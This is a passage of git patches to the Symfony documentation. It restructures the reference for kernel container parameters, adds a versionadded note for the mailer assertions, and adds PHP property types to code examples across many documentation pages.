+``kernel.bundles_metadata``
+---------------------------
 
-    // src/Kernel.php
-    namespace App;
+**type**: ``array`` **default**: ``[]``
 
-    use Symfony\Component\HttpKernel\Kernel as BaseKernel;
-    // ...
+This parameter stores the list of :doc:`bundles </bundles>` registered in the
+application and some metadata about them::
 
-    class Kernel extends BaseKernel
-    {
+    [
+        'FrameworkBundle' => [
+            'path' => '/<path-to-your-project>/vendor/symfony/framework-bundle',
+            'namespace' => 'Symfony\Bundle\FrameworkBundle',
+        ],
+        'TwigBundle' => [
+            'path' => '/<path-to-your-project>/vendor/symfony/twig-bundle',
+            'namespace' => 'Symfony\Bundle\TwigBundle',
+        ],
         // ...
+    ]
 
-        public function getProjectDir(): string
-        {
-            return \dirname(__DIR__);
-        }
-    }
+This value is not exposed via any method of the kernel class, so you can only
+obtain it via the container parameter.
 
-Cache Directory
-~~~~~~~~~~~~~~~
+``kernel.cache_dir``
+--------------------
 
 **type**: ``string`` **default**: ``$this->getProjectDir()/var/cache/$this->environment``
 
-This returns the absolute path of the cache directory of your Symfony project.
-It's calculated automatically based on the current
-:ref:`environment <configuration-environments>`. Data might be written to this
-path at runtime.
-
-This value is exposed via the ``kernel.cache_dir`` configuration parameter and
-the :method:`Symfony\\Component\\HttpKernel\\Kernel::getCacheDir` method. To
-change this setting, override the ``getCacheDir()`` method to return the correct
-cache directory.
+This parameter stores the absolute path of the cache directory of your Symfony
+application. The default value is generated by Symfony based on the current
+:ref:`configuration environment <configuration-environments>`. Your application
+can write data to this path at runtime.
 
-.. _configuration-kernel-build-directory:
+This value is also exposed via the :method:`Symfony\\Component\\HttpKernel\\Kernel::getCacheDir`
+method of the kernel class, which you can override to return a different value.
 
-Build Directory
-~~~~~~~~~~~~~~~
-
-**type**: ``string`` **default**: ``$this->getCacheDir()``
+.. _configuration-kernel-charset:
 
-This returns the absolute path of a build directory of your Symfony project. This
-directory can be used to separate read-only cache (i.e. the compiled container)
-from read-write cache (i.e. :doc:`cache pools </cache>`). Specify a non-default
-value when the application is deployed in a read-only filesystem like a Docker
-container or AWS Lambda.
+``kernel.charset``
+------------------
 
-This value is exposed via the ``kernel.build_dir`` configuration parameter and
-the :method:`Symfony\\Component\\HttpKernel\\Kernel::getBuildDir` method. To
-change this setting, override the ``getBuildDir()`` method to return the correct
-build directory.
+**type**: ``string`` **default**: ``UTF-8``
 
-Log Directory
-~~~~~~~~~~~~~
+This parameter stores the type of charset or `character encoding`_ that is used
+in the application. This value is also exposed via the :method:`Symfony\\Component\\HttpKernel\\Kernel::getCharset`
+method of the kernel class, which you can override to return a different value::
 
-**type**: ``string`` **default**: ``$this->getProjectDir()/var/log``
+    // src/Kernel.php
+    namespace App;
 
-This returns the absolute path of the log directory of your Symfony project.
-It's calculated automatically based on the current
-:ref:`environment <configuration-environments>`.
+    use Symfony\Component\HttpKernel\Kernel as BaseKernel;
+    // ...
 
-This value is exposed via the ``kernel.logs_dir`` configuration parameter and
-the :method:`Symfony\\Component\\HttpKernel\\Kernel::getLogDir` method. To
-change this setting, override the ``getLogDir()`` method to return the right
-log directory.
+    class Kernel extends BaseKernel
+    {
+        public function getCharset(): string
+        {
+            return 'ISO-8859-1';
+        }
+    }
 
-Container Build Time
-~~~~~~~~~~~~~~~~~~~~
+``kernel.container_build_time``
+-------------------------------
 
 **type**: ``string`` **default**: the result of executing ``time()``
 
@@ -138,7 +112,7 @@ from some trusted source code.
 
 In practice, the compiled :doc:`service container </service_container>` of your
 application will always be the same if you don't change its source code. This is
-exposed via these configuration parameters:
+exposed via these container parameters:
 
 * ``container.build_hash``, a hash of the contents of all your source files;
 * ``container.build_time``, a timestamp of the moment when the container was
@@ -148,7 +122,7 @@ exposed via these configuration parameters:
 
 Since the ``container.build_time`` value will change every time you compile the
 application, the build will not be strictly reproducible. If you care about
-this, the solution is to use another configuration parameter called
+this, the solution is to use another container parameter called
 ``kernel.container_build_time`` and set it to a non-changing build time to
 achieve a strict reproducible build:
 
@@ -182,4 +156,175 @@ achieve a strict reproducible build:
         // ...
         $container->setParameter('kernel.container_build_time', '1234567890');
 
+``kernel.container_class``
+--------------------------
+
+**type**: ``string`` **default**: (see explanation below)
+
+This parameter stores a unique identifier for the container class. In practice,
+this is only important to ensure that each kernel has a unique identifier when
+:doc:`using applications with multiple kernels </configuration/multiple_kernels>`.
+
+The default value is generated by Symfony based on the current
+:ref:`configuration environment <configuration-environments>` and the
+:ref:`debug mode <debug-mode>`. For example, if your application kernel is
+defined in the ``App`` namespace, runs in the ``dev`` environment and the ``debug``
+mode is enabled, the value of this parameter is ``App_KernelDevDebugContainer``.
+
+This value is also exposed via the :method:`Symfony\\Component\\HttpKernel\\Kernel::getContainerClass`
+method of the kernel class, which you can override to return a different value::
+
+    // src/Kernel.php
+    namespace App;
+
+    use Symfony\Component\HttpKernel\Kernel as BaseKernel;
+    // ...
+
+    class Kernel extends BaseKernel
+    {
+        public function getContainerClass(): string
+        {
+            return sprintf('AcmeKernel%s', random_int(10_000, 99_999));
+        }
+    }
+
+``kernel.debug``
+----------------
+
+**type**: ``boolean`` **default**: (the value is passed as an argument when booting the kernel)
+
+This parameter stores the value of the current :ref:`debug mode <debug-mode>`
+used by the application.
+
+``kernel.default_locale``
+-------------------------
+
+This parameter stores the value of
+:ref:`the framework.default_locale parameter <config-framework-default_locale>`.
+
+``kernel.enabled_locales``
+--------------------------
+
+This parameter stores the value of
+:ref:`the framework.enabled_locales parameter <reference-translator-enabled-locales>`.
+
+.. _configuration-kernel-environment:
+
+``kernel.environment``
+----------------------
+
+**type**: ``string`` **default**: (the value is passed as an argument when booting the kernel)
+
+This parameter stores the name of the current :ref:`configuration environment <configuration-environments>`
+used by the application.
+
+This value defines the configuration options used to run the application, whereas
+the :ref:`kernel.runtime_environment <configuration-kernel-runtime-environment>`
+option defines the place where the application is deployed. This allows for
+example to run an application with the ``prod`` config (``kernel.environment``)
+in different scenarios like ``staging`` or ``production`` (``kernel.runtime_environment``).
+
+``kernel.error_controller``
+---------------------------
+
+This parameter stores the value of
+:ref:`the framework.error_controller parameter <config-framework-error_controller>`.
+
+``kernel.http_method_override``
+-------------------------------
+
+This parameter stores the value of
+:ref:`the framework.http_method_override parameter <configuration-framework-http_method_override>`.
+
+``kernel.logs_dir``
+-------------------
+
+**type**: ``string`` **default**: ``$this->getProjectDir()/var/log``
+
+This parameter stores the absolute path of the log directory of your Symfony application.
+It's calculated automatically based on the current
+:ref:`configuration environment <configuration-environments>`.
+
+This value is also exposed via the :method:`Symfony\\Component\\HttpKernel\\Kernel::getLogDir`
+method of the kernel class, which you can override to return a different value.
+
+.. _configuration-kernel-project-directory:
+
+``kernel.project_dir``
+----------------------
+
+**type**: ``string`` **default**: the directory of the project ``composer.json``
+
+This parameter stores the absolute path of the root directory of your Symfony application,
+which is used by applications to perform operations with file paths relative to
+the project's root directory.
+
+By default, its value is calculated automatically as the directory where the
+main ``composer.json`` file is stored. This value is also exposed via the
+:method:`Symfony\\Component\\HttpKernel\\Kernel::getProjectDir` method of the
+kernel class.
+
+If you don't use Composer, or have moved the ``composer.json`` file location or
+have deleted it entirely (for example in the production servers), override the
+``getProjectDir()`` method to return a different value::
+
+    // src/Kernel.php
+    namespace App;
+
+    use Symfony\Component\HttpKernel\Kernel as BaseKernel;
+    // ...
+
+    class Kernel extends BaseKernel
+    {
+        // ...
+
+        public function getProjectDir(): string
+        {
+            return \dirname(__DIR__);
+        }
+    }
+
+.. _configuration-kernel-runtime-environment:
+
+``kernel.runtime_environment``
+------------------------------
+
+**type**: ``string`` **default**: ``%env(default:kernel.environment:APP_RUNTIME_ENV)%``
+
+This parameter stores the name of the current :doc:`runtime environment </components/runtime>`
+used by the application.
+
+This value defines the place where the application is deployed, whereas the
+:ref:`kernel.environment <configuration-kernel-environment>` option defines
+the configuration options used to run the application. This allows for example
+to run an application with the ``prod`` config (``kernel.environment``) in different
+scenarios like ``staging`` or ``production`` (``kernel.runtime_environment``).
+
+``kernel.secret``
+-----------------
+
+**type**: ``string`` **default**: ``%env(APP_SECRET)%``
+
+This parameter stores the value of
+:ref:`the framework.secret parameter <configuration-framework-secret>`.
+
+``kernel.trust_x_sendfile_type_header``
+---------------------------------------
+
+This parameter stores the value of
+:ref:`the framework.trust_x_sendfile_type_header parameter <configuration-framework-http_method_override>`.
+
+``kernel.trusted_hosts``
+------------------------
+
+This parameter stores the value of
+:ref:`the framework.trusted_hosts parameter <configuration-framework-trusted-hosts>`.
+
+``kernel.trusted_proxies``
+--------------------------
+
+This parameter stores the value of
+:ref:`the framework.trusted_proxies parameter <reference-framework-trusted-proxies>`.
+
+.. _`character encoding`: https://en.wikipedia.org/wiki/Character_encoding
 .. _`reproducible builds`: https://en.wikipedia.org/wiki/Reproducible_builds

From 4851eddf45c73038dd79aed9a0a5362a86c696b6 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Tue, 11 Jul 2023 16:44:49 +0200
Subject: [PATCH 3505/5766] [Console] Minor tweaks

---
 console/calling_commands.rst | 2 +-
 console/verbosity.rst        | 2 +-
 2 files changed, 2 insertions(+), 2 deletions(-)

diff --git a/console/calling_commands.rst b/console/calling_commands.rst
index 2defb04d49a..1a9cce4e6c3 100644
--- a/console/calling_commands.rst
+++ b/console/calling_commands.rst
@@ -27,7 +27,7 @@ method)::
     {
         // ...
 
-        protected function execute(InputInterface $input, OutputInterface $output): void
+        protected function execute(InputInterface $input, OutputInterface $output): int
         {
             $command = $this->getApplication()->find('demo:greet');
 
diff --git a/console/verbosity.rst b/console/verbosity.rst
index 7df68d30f23..f7a1a1e5e59 100644
--- a/console/verbosity.rst
+++ b/console/verbosity.rst
@@ -69,7 +69,7 @@ level. For example::
                 OutputInterface::VERBOSITY_VERBOSE
             );
 
-            return 0;
+            return Command::SUCCESS;
         }
     }
 

From 175231293441f3eaa8705f56939695e25ccc02f4 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 12 Jul 2023 09:18:03 +0200
Subject: [PATCH 3506/5766] Add the versionadded directive

---
 testing.rst | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/testing.rst b/testing.rst
index a544a18f305..fec4cfdc2ec 100644
--- a/testing.rst
+++ b/testing.rst
@@ -1039,6 +1039,11 @@ Mailer Assertions
     Asserts that the subject of the given email does (not) contain the
     expected subject.
 
+.. versionadded:: 6.4
+
+    The ``assertEmailSubjectContains()`` and ``assertEmailSubjectNotContains()``
+    assertions were introduced in Symfony 6.4.
+
 Notifier Assertions
 ...................
 

From d3e3df082cf469234fd7f5492d761b0068dcb880 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Wed, 12 Jul 2023 11:43:47 +0200
Subject: [PATCH 3507/5766] Add property types

---
 components/asset.rst                       |  2 +-
 components/dependency_injection.rst        |  6 +--
 components/property_access.rst             | 14 +++----
 components/property_info.rst               |  2 +-
 components/runtime.rst                     |  2 +-
 components/serializer.rst                  | 48 +++++++++++-----------
 components/validator/metadata.rst          |  2 +-
 configuration/using_parameters_in_dic.rst  |  5 +--
 contributing/code/standards.rst            |  5 +--
 controller/upload_file.rst                 |  4 +-
 doctrine/associations.rst                  |  6 +--
 form/create_form_type_extension.rst        |  2 +-
 form/inherit_data_option.rst               | 24 +++++------
 form/unit_testing.rst                      |  2 +-
 form/use_empty_data.rst                    |  2 +-
 form/validation_group_service_resolver.rst |  4 +-
 quick_tour/flex_recipes.rst                |  6 +--
 reference/constraints/Callback.rst         |  2 +-
 reference/constraints/Expression.rst       |  8 ++--
 reference/constraints/Json.rst             |  2 +-
 routing/custom_route_loader.rst            |  2 +-
 service_container/autowiring.rst           |  2 +-
 service_container/calls.rst                |  4 +-
 service_container/configurators.rst        |  4 +-
 service_container/injection_types.rst      |  4 +-
 service_container/service_decoration.rst   |  2 +-
 service_container/tags.rst                 | 14 +------
 testing/database.rst                       |  5 +--
 validation/groups.rst                      |  6 +--
 validation/sequence_provider.rst           | 12 +++---
 30 files changed, 93 insertions(+), 110 deletions(-)

diff --git a/components/asset.rst b/components/asset.rst
index 2c95a35589e..8ffdbd7e41d 100644
--- a/components/asset.rst
+++ b/components/asset.rst
@@ -203,7 +203,7 @@ every day::
 
     class DateVersionStrategy implements VersionStrategyInterface
     {
-        private $version;
+        private \DateTimeInterface $version;
 
         public function __construct()
         {
diff --git a/components/dependency_injection.rst b/components/dependency_injection.rst
index 6d8672feeef..45ecc6dc194 100644
--- a/components/dependency_injection.rst
+++ b/components/dependency_injection.rst
@@ -31,7 +31,7 @@ you want to make available as a service::
 
     class Mailer
     {
-        private $transport;
+        private string $transport;
 
         public function __construct()
         {
@@ -55,7 +55,7 @@ so this is passed into the constructor::
     class Mailer
     {
         public function __construct(
-            private $transport,
+            private string $transport,
         ) {
         }
 
@@ -124,7 +124,7 @@ it was only optional then you could use setter injection instead::
 
     class NewsletterManager
     {
-        private $mailer;
+        private \Mailer $mailer;
 
         public function setMailer(\Mailer $mailer)
         {
diff --git a/components/property_access.rst b/components/property_access.rst
index 3364b667a5c..bf1453d17ee 100644
--- a/components/property_access.rst
+++ b/components/property_access.rst
@@ -118,7 +118,7 @@ it with ``get``. So the actual method becomes ``getFirstName()``::
     // ...
     class Person
     {
-        private $firstName = 'Wouter';
+        private string $firstName = 'Wouter';
 
         public function getFirstName()
         {
@@ -140,8 +140,8 @@ getters, this means that you can do something like this::
     // ...
     class Person
     {
-        private $author = true;
-        private $children = [];
+        private bool $author = true;
+        private array $children = [];
 
         public function isAuthor()
         {
@@ -233,7 +233,7 @@ The ``getValue()`` method can also use the magic ``__get()`` method::
     // ...
     class Person
     {
-        private $children = [
+        private array $children = [
             'Wouter' => [...],
         ];
 
@@ -263,7 +263,7 @@ enable this feature by using :class:`Symfony\\Component\\PropertyAccess\\Propert
     // ...
     class Person
     {
-        private $children = [
+        private array $children = [
             'wouter' => [...],
         ];
 
@@ -362,7 +362,7 @@ see `Enable other Features`_::
     // ...
     class Person
     {
-        private $children = [];
+        private array $children = [];
 
         public function __call($name, $args)
         {
@@ -405,7 +405,7 @@ properties through *adder* and *remover* methods::
         /**
          * @var string[]
          */
-        private $children = [];
+        private array $children = [];
 
         public function getChildren(): array
         {
diff --git a/components/property_info.rst b/components/property_info.rst
index 6aa2210a728..37c425d85df 100644
--- a/components/property_info.rst
+++ b/components/property_info.rst
@@ -431,7 +431,7 @@ information from annotations of properties and methods, such as ``@var``,
          * @param string $bar
          */
         public function __construct(
-            private $bar,
+            private string $bar,
         ) {
         }
     }
diff --git a/components/runtime.rst b/components/runtime.rst
index 956e731c5ab..8f07968e5ca 100644
--- a/components/runtime.rst
+++ b/components/runtime.rst
@@ -440,7 +440,7 @@ always using this ``ReactPHPRunner``::
 
     class ReactPHPRuntime extends GenericRuntime
     {
-        private $port;
+        private int $port;
 
         public function __construct(array $options)
         {
diff --git a/components/serializer.rst b/components/serializer.rst
index 26336dc5f9b..33fc71e4b69 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -244,9 +244,9 @@ Assume you have the following plain-old-PHP object::
 
     class MyObj
     {
-        public $foo;
+        public string $foo;
 
-        private $bar;
+        private string $bar;
 
         public function getBar()
         {
@@ -303,10 +303,10 @@ Then, create your groups definition:
         class MyObj
         {
             #[Groups(['group1', 'group2'])]
-            public $foo;
+            public string $foo;
 
             #[Groups(['group4'])]
-            public $anotherProperty;
+            public string $anotherProperty;
 
             #[Groups(['group3'])]
             public function getBar() // is* methods are also supported
@@ -449,10 +449,10 @@ Option 1: Using ``@Ignore`` Annotation
 
         class MyClass
         {
-            public $foo;
+            public string $foo;
 
             #[Ignore]
-            public $bar;
+            public string $bar;
         }
 
     .. code-block:: yaml
@@ -1229,8 +1229,8 @@ You can change this behavior by setting the ``AbstractObjectNormalizer::SKIP_NUL
 to ``true``::
 
     $dummy = new class {
-        public $foo;
-        public $bar = 'notNull';
+        public ?string $foo = null;
+        public string $bar = 'notNull';
     };
 
     $normalizer = new ObjectNormalizer();
@@ -1305,8 +1305,8 @@ Circular references are common when dealing with entity relations::
 
     class Organization
     {
-        private $name;
-        private $members;
+        private string $name;
+        private array $members;
 
         public function setName($name)
         {
@@ -1331,10 +1331,10 @@ Circular references are common when dealing with entity relations::
 
     class Member
     {
-        private $name;
-        private $organization;
+        private string $name;
+        private Organization $organization;
 
-        public function setName($name)
+        public function setName(string $name)
         {
             $this->name = $name;
         }
@@ -1404,12 +1404,12 @@ structure::
 
     class MyObj
     {
-        public $foo;
+        public string $foo;
 
         /**
          * @var self
          */
-        public $child;
+        public MyObj $child;
     }
 
     $level1 = new MyObj();
@@ -1437,7 +1437,7 @@ Here, we set it to 2 for the ``$child`` property:
         class MyObj
         {
             #[MaxDepth(2)]
-            public $child;
+            public MyObj $child;
 
             // ...
         }
@@ -1499,10 +1499,10 @@ having unique identifiers::
 
     class Foo
     {
-        public $id;
+        public int $id;
 
         #[MaxDepth(1)]
-        public $child;
+        public MyObj $child;
     }
 
     $level1 = new Foo();
@@ -1598,8 +1598,8 @@ context option::
     class MyObj
     {
         public function __construct(
-            private $foo,
-            private $bar,
+            private string $foo,
+            private string $bar,
         ) {
         }
     }
@@ -1638,8 +1638,8 @@ parameter of the ``ObjectNormalizer``::
 
     class ObjectOuter
     {
-        private $inner;
-        private $date;
+        private ObjectInner $inner;
+        private \DateTimeInterface $date;
 
         public function getInner()
         {
@@ -1664,8 +1664,8 @@ parameter of the ``ObjectNormalizer``::
 
     class ObjectInner
     {
-        public $foo;
-        public $bar;
+        public string $foo;
+        public string $bar;
     }
 
     $normalizer = new ObjectNormalizer(null, null, null, new ReflectionExtractor());
diff --git a/components/validator/metadata.rst b/components/validator/metadata.rst
index 07ee9c52d79..5a88dab76ed 100755
--- a/components/validator/metadata.rst
+++ b/components/validator/metadata.rst
@@ -17,7 +17,7 @@ the ``Author`` class has at least 3 characters::
 
     class Author
     {
-        private $firstName;
+        private string $firstName;
 
         public static function loadValidatorMetadata(ClassMetadata $metadata)
         {
diff --git a/configuration/using_parameters_in_dic.rst b/configuration/using_parameters_in_dic.rst
index 05008114e01..852b06506ce 100644
--- a/configuration/using_parameters_in_dic.rst
+++ b/configuration/using_parameters_in_dic.rst
@@ -101,11 +101,10 @@ be injected with this parameter via the extension as follows::
 
     class Configuration implements ConfigurationInterface
     {
-        private $debug;
+        private bool $debug;
 
-        public function __construct($debug)
+        public function __construct(private bool $debug)
         {
-            $this->debug = (bool) $debug;
         }
 
         public function getConfigTreeBuilder()
diff --git a/contributing/code/standards.rst b/contributing/code/standards.rst
index 69d0a2c16b3..7d16e0f9d0b 100644
--- a/contributing/code/standards.rst
+++ b/contributing/code/standards.rst
@@ -49,10 +49,7 @@ short example containing most features described below::
     {
         public const SOME_CONST = 42;
 
-        /**
-         * @var string
-         */
-        private $fooBar;
+        private string $fooBar;
 
         /**
          * @param $dummy some argument description
diff --git a/controller/upload_file.rst b/controller/upload_file.rst
index 9bcc17cd7cd..dc132e3d021 100644
--- a/controller/upload_file.rst
+++ b/controller/upload_file.rst
@@ -22,7 +22,7 @@ add a PDF brochure for each product. To do so, add a new property called
         // ...
 
         #[ORM\Column(type: 'string')]
-        private $brochureFilename;
+        private string $brochureFilename;
 
         public function getBrochureFilename(): string
         {
@@ -238,7 +238,7 @@ logic to a separate service::
     class FileUploader
     {
         public function __construct(
-            private $targetDirectory,
+            private string $targetDirectory,
             private SluggerInterface $slugger,
         ) {
         }
diff --git a/doctrine/associations.rst b/doctrine/associations.rst
index e1cd113ae22..b17877c4bdf 100644
--- a/doctrine/associations.rst
+++ b/doctrine/associations.rst
@@ -148,7 +148,7 @@ the ``Product`` entity (and getter & setter methods):
             // ...
 
             #[ORM\ManyToOne(targetEntity: Category::class, inversedBy: 'products')]
-            private $category;
+            private Category $category;
 
             public function getCategory(): ?Category
             {
@@ -220,7 +220,7 @@ class that will hold these objects:
             // ...
 
             #[ORM\OneToMany(targetEntity: Product::class, mappedBy: 'category')]
-            private $products;
+            private array $products;
 
             public function __construct()
             {
@@ -588,7 +588,7 @@ that behavior, use the `orphanRemoval`_ option inside ``Category``:
         // ...
 
         #[ORM\OneToMany(targetEntity: Product::class, mappedBy: 'category', orphanRemoval: true)]
-        private $products;
+        private array $products;
 
 
 Thanks to this, if the ``Product`` is removed from the ``Category``, it will be
diff --git a/form/create_form_type_extension.rst b/form/create_form_type_extension.rst
index 43e6b7f198e..7f40b9decc9 100644
--- a/form/create_form_type_extension.rst
+++ b/form/create_form_type_extension.rst
@@ -107,7 +107,7 @@ the database::
         /**
          * @var string The path - typically stored in the database
          */
-        private $path;
+        private string $path;
 
         // ...
 
diff --git a/form/inherit_data_option.rst b/form/inherit_data_option.rst
index 64001ba074d..19b14b27bcd 100644
--- a/form/inherit_data_option.rst
+++ b/form/inherit_data_option.rst
@@ -10,13 +10,13 @@ entities, a ``Company`` and a ``Customer``::
 
     class Company
     {
-        private $name;
-        private $website;
+        private string $name;
+        private string $website;
 
-        private $address;
-        private $zipcode;
-        private $city;
-        private $country;
+        private string $address;
+        private string $zipcode;
+        private string $city;
+        private string $country;
     }
 
 .. code-block:: php
@@ -26,13 +26,13 @@ entities, a ``Company`` and a ``Customer``::
 
     class Customer
     {
-        private $firstName;
-        private $lastName;
+        private string $firstName;
+        private string $lastName;
 
-        private $address;
-        private $zipcode;
-        private $city;
-        private $country;
+        private string  $address;
+        private string $zipcode;
+        private string $city;
+        private string $country;
     }
 
 As you can see, each entity shares a few of the same fields: ``address``,
diff --git a/form/unit_testing.rst b/form/unit_testing.rst
index bcd82a1ee38..048a3c7c0d0 100644
--- a/form/unit_testing.rst
+++ b/form/unit_testing.rst
@@ -154,7 +154,7 @@ make sure the ``FormRegistry`` uses the created instance::
 
     class TestedTypeTest extends TypeTestCase
     {
-        private $objectManager;
+        private MockObject|ObjectManager $objectManager;
 
         protected function setUp(): void
         {
diff --git a/form/use_empty_data.rst b/form/use_empty_data.rst
index 85d6d750a25..5387820693b 100644
--- a/form/use_empty_data.rst
+++ b/form/use_empty_data.rst
@@ -51,7 +51,7 @@ that constructor with no arguments::
     class BlogType extends AbstractType
     {
         public function __construct(
-            private $someDependency,
+            private object $someDependency,
         ) {
         }
         // ...
diff --git a/form/validation_group_service_resolver.rst b/form/validation_group_service_resolver.rst
index da07585b511..82a6f65d6ec 100644
--- a/form/validation_group_service_resolver.rst
+++ b/form/validation_group_service_resolver.rst
@@ -14,8 +14,8 @@ parameter::
     class ValidationGroupResolver
     {
         public function __construct(
-            private $service1,
-            private $service2,
+            private object $service1,
+            private object $service2,
         ) {
         }
 
diff --git a/quick_tour/flex_recipes.rst b/quick_tour/flex_recipes.rst
index 7829304e995..a71961d78af 100644
--- a/quick_tour/flex_recipes.rst
+++ b/quick_tour/flex_recipes.rst
@@ -200,13 +200,13 @@ rich API for a ``product`` table? Create a ``Product`` entity and give it the
         #[ORM\Id]
         #[ORM\GeneratedValue(strategy: 'AUTO')]
         #[ORM\Column(type: 'integer')]
-        private $id;
+        private int $id;
 
         #[ORM\Column(type: 'string')]
-        private $name;
+        private string $name;
 
         #[ORM\Column(type: 'integer')]
-        private $price;
+        private int $price;
 
         // ...
     }
diff --git a/reference/constraints/Callback.rst b/reference/constraints/Callback.rst
index 62184f805cd..2a14eff4531 100644
--- a/reference/constraints/Callback.rst
+++ b/reference/constraints/Callback.rst
@@ -99,7 +99,7 @@ field those errors should be attributed::
     class Author
     {
         // ...
-        private $firstName;
+        private string $firstName;
 
         public function validate(ExecutionContextInterface $context, $payload)
         {
diff --git a/reference/constraints/Expression.rst b/reference/constraints/Expression.rst
index a51002040c0..26192069a8c 100644
--- a/reference/constraints/Expression.rst
+++ b/reference/constraints/Expression.rst
@@ -26,9 +26,9 @@ properties::
 
     class BlogPost
     {
-        private $category;
+        private string $category;
 
-        private $isTechnicalPost;
+        private bool $isTechnicalPost;
 
         // ...
 
@@ -155,7 +155,7 @@ assert that the expression must return ``true`` for validation to fail.
                     "this.getCategory() in ['php', 'symfony'] or value == false",
                     message: 'If this is a tech post, the category should be either php or symfony!',
                 )]
-                private $isTechnicalPost;
+                private bool $isTechnicalPost;
 
                 // ...
             }
@@ -298,7 +298,7 @@ type (numeric, boolean, strings, null, etc.)
                 'value + error_margin < threshold',
                 values: ['error_margin' => 0.25, 'threshold' => 1.5],
             )]
-            private $metric;
+            private float $metric;
 
             // ...
         }
diff --git a/reference/constraints/Json.rst b/reference/constraints/Json.rst
index 1ab6ce46494..04cd4d1c1e1 100644
--- a/reference/constraints/Json.rst
+++ b/reference/constraints/Json.rst
@@ -28,7 +28,7 @@ The ``Json`` constraint can be applied to a property or a "getter" method:
             #[Assert\Json(
                 message: "You've entered an invalid Json."
             )]
-            private $chapters;
+            private string $chapters;
         }
 
     .. code-block:: yaml
diff --git a/routing/custom_route_loader.rst b/routing/custom_route_loader.rst
index 5caf51e8213..ec3b5efcb1b 100644
--- a/routing/custom_route_loader.rst
+++ b/routing/custom_route_loader.rst
@@ -278,7 +278,7 @@ you do. The resource name itself is not actually used in the example::
 
     class ExtraLoader extends Loader
     {
-        private $isLoaded = false;
+        private bool $isLoaded = false;
 
         public function load($resource, string $type = null)
         {
diff --git a/service_container/autowiring.rst b/service_container/autowiring.rst
index 4f62e24e10f..72bb7851965 100644
--- a/service_container/autowiring.rst
+++ b/service_container/autowiring.rst
@@ -653,7 +653,7 @@ to inject the ``logger`` service, and decide to use setter-injection:
 
         class Rot13Transformer
         {
-            private $logger;
+            private LoggerInterface $logger;
 
             #[Required]
             public function setLogger(LoggerInterface $logger): void
diff --git a/service_container/calls.rst b/service_container/calls.rst
index 9f4e3699b18..cb364b59489 100644
--- a/service_container/calls.rst
+++ b/service_container/calls.rst
@@ -17,7 +17,7 @@ example::
 
     class MessageGenerator
     {
-        private $logger;
+        private LoggerInterface $logger;
 
         public function setLogger(LoggerInterface $logger): void
         {
@@ -84,7 +84,7 @@ instead of mutating the object they were called on::
 
     class MessageGenerator
     {
-        private $logger;
+        private LoggerInterface $logger;
 
         public function withLogger(LoggerInterface $logger): self
         {
diff --git a/service_container/configurators.rst b/service_container/configurators.rst
index 2cf9cdb471f..7817a383761 100644
--- a/service_container/configurators.rst
+++ b/service_container/configurators.rst
@@ -23,7 +23,7 @@ You start defining a ``NewsletterManager`` class like this::
 
     class NewsletterManager implements EmailFormatterAwareInterface
     {
-        private $enabledFormatters;
+        private array $enabledFormatters;
 
         public function setEnabledFormatters(array $enabledFormatters): void
         {
@@ -40,7 +40,7 @@ and also a ``GreetingCardManager`` class::
 
     class GreetingCardManager implements EmailFormatterAwareInterface
     {
-        private $enabledFormatters;
+        private array $enabledFormatters;
 
         public function setEnabledFormatters(array $enabledFormatters): void
         {
diff --git a/service_container/injection_types.rst b/service_container/injection_types.rst
index f1a6c80397b..5fb3d09a9c5 100644
--- a/service_container/injection_types.rst
+++ b/service_container/injection_types.rst
@@ -115,7 +115,7 @@ by cloning the original service, this approach allows you to make a service immu
 
     class NewsletterManager
     {
-        private $mailer;
+        private MailerInterface $mailer;
 
         /**
          * @return static
@@ -222,7 +222,7 @@ that accepts the dependency::
     // ...
     class NewsletterManager
     {
-        private $mailer;
+        private MailerInterface $mailer;
 
         #[Required]
         public function setMailer(MailerInterface $mailer): void
diff --git a/service_container/service_decoration.rst b/service_container/service_decoration.rst
index b772fbd2ad3..73b83271025 100644
--- a/service_container/service_decoration.rst
+++ b/service_container/service_decoration.rst
@@ -154,7 +154,7 @@ automatically changed to ``'.inner'``):
         {
             public function __construct(
                 #[MapDecorated]
-                private $inner,
+                private object $inner,
             ) {
             }
 
diff --git a/service_container/tags.rst b/service_container/tags.rst
index 54c5c3cb461..31fe56cacc6 100644
--- a/service_container/tags.rst
+++ b/service_container/tags.rst
@@ -229,12 +229,7 @@ To begin with, define the ``TransportChain`` class::
 
     class TransportChain
     {
-        private $transports;
-
-        public function __construct()
-        {
-            $this->transports = [];
-        }
+        private array $transports = [];
 
         public function addTransport(\MailerTransport $transport): void
         {
@@ -423,12 +418,7 @@ To begin with, change the ``TransportChain`` class::
 
     class TransportChain
     {
-        private $transports;
-
-        public function __construct()
-        {
-            $this->transports = [];
-        }
+        private array $transports = [];
 
         public function addTransport(\MailerTransport $transport, $alias): void
         {
diff --git a/testing/database.rst b/testing/database.rst
index fb78d33a3a7..bce96353da8 100644
--- a/testing/database.rst
+++ b/testing/database.rst
@@ -98,10 +98,7 @@ so, get the entity manager via the service container as follows::
 
     class ProductRepositoryTest extends KernelTestCase
     {
-        /**
-         * @var \Doctrine\ORM\EntityManager
-         */
-        private $entityManager;
+        private \Doctrine\ORM\EntityManager $entityManager;
 
         protected function setUp(): void
         {
diff --git a/validation/groups.rst b/validation/groups.rst
index 51981375e0e..22af24473be 100644
--- a/validation/groups.rst
+++ b/validation/groups.rst
@@ -23,14 +23,14 @@ user registers and when a user updates their contact information later:
         class User implements UserInterface
         {
             #[Assert\Email(groups: ['registration'])]
-            private $email;
+            private string $email;
 
             #[Assert\NotBlank(groups: ['registration'])]
             #[Assert\Length(min: 7, groups: ['registration'])]
-            private $password;
+            private string $password;
 
             #[Assert\Length(min: 2)]
-            private $city;
+            private string $city;
         }
 
     .. code-block:: yaml
diff --git a/validation/sequence_provider.rst b/validation/sequence_provider.rst
index 4ceb289a615..d409b1a203a 100644
--- a/validation/sequence_provider.rst
+++ b/validation/sequence_provider.rst
@@ -23,10 +23,10 @@ username and the password are different only if all other validation passes
         class User implements UserInterface
         {
             #[Assert\NotBlank]
-            private $username;
+            private string $username;
 
             #[Assert\NotBlank]
-            private $password;
+            private string $password;
 
             #[Assert\IsTrue(
                 message: 'The password cannot match your username',
